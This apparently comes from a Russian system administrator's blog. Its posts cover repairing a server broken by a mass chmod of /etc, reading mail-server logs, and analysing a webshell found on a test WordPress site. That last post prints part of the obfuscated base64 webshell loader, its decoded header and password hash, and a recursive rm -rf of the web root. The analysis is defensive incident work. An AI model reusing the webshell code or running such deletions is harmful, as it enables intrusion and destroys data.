К слову, phpmyadmin без боя не сдался - так что это теперь у пользователя по его домену открывается именно он, а не наоборот! :)


@темы: факапы, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Жалоба - "не работает plesk (500 internal server error), спасите-помогите!"
Ну, на момент, когда руки дошли - посмотреть, что там случилось с плеском, не получилось. Контейнер не отвечал в принципе и не пинговался. Захожу внутрь - не запущен сетевой интефрейс. Пожал плечами, запустил. Вроде там что-то про "ребут поможет?" в заявке было, ну да ладно. Так, а вот и ошибка плеска. А вот лог службы, которая отвечает за его работу:

[root@3346 /]# tail /var/log/sw-cp-server/error_log
/usr/share/sw-cp-server/applications-conf.sh: line 4: /etc/sw-cp-server/applications.d/*.conf: Permission denied
Cannot find config item ["global/SERVERsocket==:8443", ".php", 0]
2014-08-06 10:16:57: (mod_fastcgi.c.1068) the fastcgi-backend /usr/bin/sw-engine-cgi -c /usr/local/psa/admin/conf/php.ini -d auto_prepend_file=auth.php3 -u psaadm failed to start:
2014-08-06 10:16:57: (mod_fastcgi.c.1072) child exited with status 1 /usr/bin/sw-engine-cgi -c /usr/local/psa/admin/conf/php.ini -d auto_prepend_file=auth.php3 -u psaadm
2014-08-06 10:16:57: (mod_fastcgi.c.1075) If you're trying to run your app as a FastCGI backend, make sure you're using the FastCGI-enabled version.
If this is PHP on Gentoo, add 'fastcgi' to the USE flags.
2014-08-06 10:16:57: (mod_fastcgi.c.1171) [ERROR]: spawning fcgi failed.

Хм, понятного мало, но хоть понятно, как воспроизвести :)
[root@3346 /]# /usr/bin/sw-engine-cgi -c /usr/local/psa/admin/conf/php.ini -d auto_prepend_file=auth.php3 -u psaadm
Could not open Repository at "/etc/sw/keys": Cannot open file
PHP Warning: file(/etc/psa/psa.conf) [function.file]: failed to open stream: Permission denied in /usr/local/psa/admin/plib/class.Conf.php3 on line 27
Content-type: text/html
Unable to read Control Panel configuration file: date_default_timezone_get() [function.date-default-timezone-get]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Europe/Volgograd' for 'VOLST/4.0/DST' instead

Эээ... эээ? Не, с правами к конфигу psa.conf все в порядке, а вот права на /etc/psa/ - 0664. Странно. Ладно, поправим. Так, а что это за ругать на /etc/sw/keys/? С keys опять все в порядке, а вот /etc/sw/ - права 0664. Хм, странно, но поправим. А еще на что-то ругань была... А, "/etc/sw-cp-server/applications.d/*.conf". Хм, и опять с конфигами все в порядке. А /etc/sw-cp-server/ - 0664. Окей, попра...
"Штирлиц долго смотрел в одну точку... Потом в другую... - Двоеточие! - наконец-то догадался Штирлиц."

Ну да, в /etc/ все обладает правами 0664. Не удивительно, что ничего не работает :) Ну что ж, поправим, подглядев у соседнего сервера.

[root@3346 /]# find /etc -maxdepth 1 -type d -exec chmod 0755 {} \;
[root@3346 /]# chmod 0700 /etc/cron.d
[root@3346 /]# chmod 0750 /etc/audisp /etc/audit
[root@3346 /]# find /etc -maxdepth 1 -type f -exec chmod 0644 {} \;
[root@3346 /]# chmod 0600 /etc/securetty /etc/shadow- /etc/passwd- /etc/.pwd.lock /etc/group- /etc/inittab
[root@3346 /]# chmod 0400 /etc/shadow
[root@3346 /]# chmod 0440 /etc/sudoers
[root@3346 /]# chmod 0640 /etc/libaudit.conf

Вроде все? Ребут для проверки и... все лежит, ничего не запускается. Что такое?
читать дальше

А, ну да, про линки забыл. Из-за них и не работает init, из-за этого и после ребута на сервере отсутствовала сетка.
[root@3346 /]# chmod 0755 /etc/rc.d/*
[root@3346 /]# chmod 0644 /usr/share/zoneinfo/Europe/Volgograd
[root@3346 /]# chmod 0644 /var/named/run-root/etc/named.conf
[root@3346 /]# chmod 0644 /usr/local/Zend/etc/php.ini
[root@3346 /]# chmod 0644 /var/named/run-root/etc/rndc.conf

Вот теперь все работает :) В любом случае до сих пор не известно, что именно сподвигло человека на выполнение команды вида " chmod 0664 /etc/* ".


@темы: маразмы, будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Жалоба на работу с почтвым ящиком. Смотрю логи авторизации - хм, вот пользователь вошел два раза по протоколу POP3 и три раза по протоколу IMAP. Так, а что он там делал? Посмотрим лог сервера dovecot. Хм, только imap?..
"Лог dovecot'а - странный предмет, вот юзер входит - а вот его нет!"

PS Позже посмотрел внимательнее. Просто два входа на сервер по протоколу POP3 - это 4 строки в логе. А три его входа по IMAP вылились в over100 строк лога, ибо с письмами активно работал.
PPS На работе не хватает времени, приходится дописывать потом :)


@темы: с картинками, Будни

An original idea. That can't be too hard. The library must be full of them. (c)Stephen Fry
Утро понедельника началось с сюрприза - на рабочую почту пришло уведомление от антивируса:
wp-content/empt.php => PHP.#28463.evb64.0.UNOFFICIAL

Хм, но это же тестовый хостинг без домена второго уровня, на который установлен голый вордпресс? Тот самый вопрдресс, разработчики которого в случае взломов уверяют "у вас пароль украли, а сервер вообще дырявый!"...
Да, версия старая (3.8.2) и установка производилась только ради теста обработчика PHP на сервере, но каких-либо дополнительных плагинов, например, не устанавливал. Значит, косяк точно в вордпрессе, будем искать...

$ stat -x wp-content/empt.php
File: "wp-content/empt.php"
Size: 88296 FileType: Regular File
Mode: (0644/-rw-r--r--) Uid: (256055) Gid: (114702)
Device: 0,113 Inode: 9469343 Links: 1
Access: Fri Aug 1 06:23:18 2014
Modify: Fri Aug 1 06:23:18 2014
Change: Fri Aug 1 06:23:18 2014

$ find . -ctime -10
./wp-content
./wp-content/uploads
./wp-content/uploads/2014
./wp-content/uploads/2014/08
./wp-content/empt.php


$ cat wp-content/empt.php
<?PHP
eval(base64_decode('JGF1dGhfcGFzcyA9ICI2M2E5ZjBlYTdiYjk4MDUwNzk2YjY0OWU4NTQ4MTg0NSI7CiRjb2xvciA9ICIjZGY1IjsKJGRlZmF1bHRfYWN0aW9uID0gJ0ZpbGVzTWFuJzsKJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOwokZGVmYXVsdF9jaGFyc2V0ID0gJ1dpbmRvd3MtMTI1MSc7CgppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgewogICAgJHVzZXJBZ2VudH...

Раскодируем:
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
...

Обыкновенный вебшелл, md5-хэш в базе есть (пароль root). Кроме веб-шелла еще производился доступ к каталогу uploads, других вредоносов нет. Ну что ж, теперь нам нужны логи.
читать дальше

Хм, ну что ж, прикольно. Судя по всему, через скрипт install.php (который в ходе установки не удаляется и в том числе нет рекомендаций удалять его вручную) поменяли пароль доступа к CMS, далее через саму CMS загрузили вебшелл, потом уже с помощью самого вебшелла переместили его в другой каталог.

wordpress.stackexchange.com/questions/96620/sho...
- Is keeping wp-admin/install.php and wp-admin/install-helper.php a security leak on the newer versions of wordpress?
- No, there is no security risk. Both files do sanity checks before anything happens.

Хм, и как решать эту проблему? Ну, в моем случае очень быстро и эффективно:
$ rm -rf ~/public_html/*

А так - советуют блокировать доступ к install.php через .htaccess (интересно, и почему нельзя просто удалять этот файл?)


@темы: будни